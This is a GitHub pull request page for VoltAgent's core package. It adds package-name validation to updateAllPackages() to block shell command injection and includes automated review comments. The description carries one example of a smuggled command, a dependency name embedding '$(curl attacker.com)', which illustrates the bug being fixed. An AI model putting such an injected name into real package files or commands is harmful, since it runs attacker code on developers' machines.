fix(core): add package name validation to updateAllPackages#1250
fix(core): add package name validation to updateAllPackages#1250octo-patch wants to merge 2 commits intoVoltAgent:mainfrom
Conversation
…ltAgent#1205) updateAllPackages() was passing package names from package.json directly into execSync() shell commands without validation. updateSinglePackage() already had this protection via a regex guard; this commit applies the same filter in updateAllPackages() so malformed or injected names are silently skipped rather than forwarded to the shell. Co-Authored-By: Octopus <liyuan851277048@icloud.com>
🦋 Changeset detectedLatest commit: 63a2cc7 The changes in this PR will be included in the next version bump. This PR includes changesets to release 1 package
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
📝 WalkthroughWalkthroughAdds package-name validation to updateAllPackages: invalid npm package names are filtered out (and warned), and if none remain the function returns early without running the package-manager command, preventing potential command injection. Changes
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~20 minutes Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (2)
packages/core/src/utils/update/index.ts (2)
379-379: ConsiderexecFileSyncfor stronger defense-in-depth.Regex validation now blocks shell metacharacters, so this is no longer exploitable, but
execSyncstill spawns a shell to interpret the concatenated string. Switching toexecFileSync(packageManager, ["add"|"install", ...packagesToUpdate], { cwd: rootDir, stdio: "inherit" })would remove the shell from the loop entirely, providing a second layer of protection if the regex is ever loosened. Same applies to Line 469 inupdateSinglePackage. Optional — only worth doing if you're touching this code path again.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/core/src/utils/update/index.ts` at line 379, Replace the use of execSync(command, { cwd: rootDir, stdio: "inherit" }) with a shell-less call: construct the args array (e.g., ["add" or "install", ...packagesToUpdate]) and call execFileSync(packageManager, args, { cwd: rootDir, stdio: "inherit" }) to avoid spawning a shell; apply the same change inside updateSinglePackage where execSync is used, ensuring you pass packageManager and packagesToUpdate (or single package) as separate arguments rather than a concatenated command string.
335-339: Extract shared package-name validator to avoid duplication.The exact regex
^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$is now duplicated here and at Line 423 inupdateSinglePackage. The linked issue explicitly suggests extracting "a shared helper for validation" — keeping two copies risks them drifting out of sync (e.g., one gets updated for a future edge case while the other doesn't), which is exactly the kind of inconsistency that originally caused this bug.♻️ Proposed refactor
+// Command injection protection — only allow valid NPM package names. +const VALID_PACKAGE_NAME_RE = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; +const isValidPackageName = (name: string): boolean => VALID_PACKAGE_NAME_RE.test(name);Then in
updateAllPackages:- const validPkgName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; const packagesToUpdate = updateCheckResult.updates .filter((pkg) => pkg.type !== "latest") - .filter((pkg) => validPkgName.test(pkg.name)) + .filter((pkg) => isValidPackageName(pkg.name)) .map((pkg) => `${pkg.name}@latest`);And in
updateSinglePackage(Line 423):- const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/.test( - packageName, - ); - if (!isValidPackageName) { + if (!isValidPackageName(packageName)) {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/core/src/utils/update/index.ts` around lines 335 - 339, Extract the duplicated package-name regex into a single exported helper (e.g., isValidPackageName or PACKAGE_NAME_REGEX) and replace both occurrences: the local const validPkgName in updateAllPackages (where packagesToUpdate is built using updateCheckResult.updates) and the check inside updateSinglePackage (around line 423) should call the shared helper instead of embedding the regex; update any tests or imports accordingly so both functions use the same validation implementation to avoid drift.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@packages/core/src/utils/update/index.ts`:
- Around line 336-348: The code silently drops invalid package names when
computing packagesToUpdate from updateCheckResult.updates; update the logic
around packagesToUpdate and LoggerProxy (component: "update-checker") to compute
the rejected names (e.g., those where validPkgName.test(pkg.name) is false), and
emit a warn-level log listing those offending package names before the early
return so operators can see which package.json entries were filtered out; keep
the existing early return and message but add the warning when rejected list is
non-empty.
---
Nitpick comments:
In `@packages/core/src/utils/update/index.ts`:
- Line 379: Replace the use of execSync(command, { cwd: rootDir, stdio:
"inherit" }) with a shell-less call: construct the args array (e.g., ["add" or
"install", ...packagesToUpdate]) and call execFileSync(packageManager, args, {
cwd: rootDir, stdio: "inherit" }) to avoid spawning a shell; apply the same
change inside updateSinglePackage where execSync is used, ensuring you pass
packageManager and packagesToUpdate (or single package) as separate arguments
rather than a concatenated command string.
- Around line 335-339: Extract the duplicated package-name regex into a single
exported helper (e.g., isValidPackageName or PACKAGE_NAME_REGEX) and replace
both occurrences: the local const validPkgName in updateAllPackages (where
packagesToUpdate is built using updateCheckResult.updates) and the check inside
updateSinglePackage (around line 423) should call the shared helper instead of
embedding the regex; update any tests or imports accordingly so both functions
use the same validation implementation to avoid drift.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 68e99104-cd2a-40e3-b136-e33458b2f9b3
📒 Files selected for processing (2)
.changeset/fix-updateallpackages-validation.mdpackages/core/src/utils/update/index.ts
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
Surface package names rejected by the validation regex via a warn-level log so operators can investigate possible package.json tampering rather than only seeing the generic "No packages to update after filtering" message. Addresses CodeRabbit review feedback on PR VoltAgent#1250. Co-Authored-By: Octopus <liyuan851277048@icloud.com>
There was a problem hiding this comment.
🧹 Nitpick comments (2)
packages/core/src/utils/update/index.ts (2)
335-341: Consider extracting the package-name regex into a shared helper.The same regex
/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/now lives in bothupdateAllPackages(Line 335) andupdateSinglePackage(Line 434). Extracting anisValidPackageName(name: string): booleanhelper at module scope (or in a smallvalidation.tsnext to this file) would keep the two call sites in lockstep if the rule ever changes — which is exactly the supply-chain hardening surface you don't want to drift.♻️ Suggested extraction
+const VALID_PACKAGE_NAME = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; +const isValidPackageName = (name: string): boolean => VALID_PACKAGE_NAME.test(name); + // ... inside updateAllPackages: - const validPkgName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; const candidateUpdates = updateCheckResult.updates.filter((pkg) => pkg.type !== "latest"); const invalidNames = candidateUpdates .map((pkg) => pkg.name) - .filter((name) => !validPkgName.test(name)); + .filter((name) => !isValidPackageName(name)); const packagesToUpdate = candidateUpdates - .filter((pkg) => validPkgName.test(pkg.name)) + .filter((pkg) => isValidPackageName(pkg.name)) .map((pkg) => `${pkg.name}@latest`); // ... inside updateSinglePackage: - const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/.test( - packageName, - ); - if (!isValidPackageName) { + if (!isValidPackageName(packageName)) {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/core/src/utils/update/index.ts` around lines 335 - 341, The package-name regex is duplicated in updateAllPackages and updateSinglePackage; extract it into a shared helper to prevent drift by adding a module-level function isValidPackageName(name: string): boolean (or a small validation.ts exporting that function) and replace direct regex.test calls in updateAllPackages and updateSinglePackage with calls to isValidPackageName, and update the candidateUpdates/invalidNames/packagesToUpdate logic to use the new helper.
354-359: Handler masks successful filtering-to-zero outcome.The
handleInstallUpdatesfunction discards the return value ofupdateAllPackages()and always responds with the generic"Updates installed successfully"message (line 45-47), regardless of whether packages were actually updated. When all candidates are filtered out, callers receive success without knowing zero packages were updated. Consider propagating the message orupdatedPackagescount fromupdateAllPackages, or at least returning a distinct signal for zero-package outcomes. Acknowledged as out of scope for this PR, but the new filtering branch makes this silent-success path more reachable.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/core/src/utils/update/index.ts` around lines 354 - 359, The handler handleInstallUpdates currently ignores the return value of updateAllPackages and always returns "Updates installed successfully"; change handleInstallUpdates to capture and propagate updateAllPackages' result (or at minimum its updatedPackages count/message) so callers can see when zero packages were updated (e.g., when packagesToUpdate.length === 0 returns early in updateAllPackages); update the final response to return the original message or a distinct "No packages updated" signal when updatedPackages is 0, ensuring you reference handleInstallUpdates and updateAllPackages/updatedPackages when making the change.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Nitpick comments:
In `@packages/core/src/utils/update/index.ts`:
- Around line 335-341: The package-name regex is duplicated in updateAllPackages
and updateSinglePackage; extract it into a shared helper to prevent drift by
adding a module-level function isValidPackageName(name: string): boolean (or a
small validation.ts exporting that function) and replace direct regex.test calls
in updateAllPackages and updateSinglePackage with calls to isValidPackageName,
and update the candidateUpdates/invalidNames/packagesToUpdate logic to use the
new helper.
- Around line 354-359: The handler handleInstallUpdates currently ignores the
return value of updateAllPackages and always returns "Updates installed
successfully"; change handleInstallUpdates to capture and propagate
updateAllPackages' result (or at minimum its updatedPackages count/message) so
callers can see when zero packages were updated (e.g., when
packagesToUpdate.length === 0 returns early in updateAllPackages); update the
final response to return the original message or a distinct "No packages
updated" signal when updatedPackages is 0, ensuring you reference
handleInstallUpdates and updateAllPackages/updatedPackages when making the
change.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 280125ee-68eb-4b5b-946f-73006dfec8a4
📒 Files selected for processing (1)
packages/core/src/utils/update/index.ts
1 participant
Fixes #1205
Problem
updateAllPackages()concatenates package names frompackage.jsondirectly into shell commands passed toexecSync()without validation. The sibling functionupdateSinglePackage()already validates names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), butupdateAllPackages()did not.A tampered
package.jsonwith a dependency name like@voltagent/exploit$(curl attacker.com)would result in the injected command being executed whenexecSyncruns the update command.Solution
Applied the same
validPkgNameregex filter inupdateAllPackages()thatupdateSinglePackage()already uses. Packages with invalid names are filtered out before being added to the shell command. Added an early return whenpackagesToUpdateis empty after filtering, with a descriptive message.Testing
The fix is a minimal, targeted filter added to the existing package preparation pipeline. No existing behavior changes for valid package names.
Summary by cubic
Adds package name validation and warn-logging to
updateAllPackages()in@voltagent/coreto prevent command injection from malformed dependency names. Invalid names are skipped using the same guard asupdateSinglePackage(), with a safe early return when none remain./^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/before building the shell command.package.jsontampering.Written for commit 63a2cc7. Summary will update on new commits.
Summary by CodeRabbit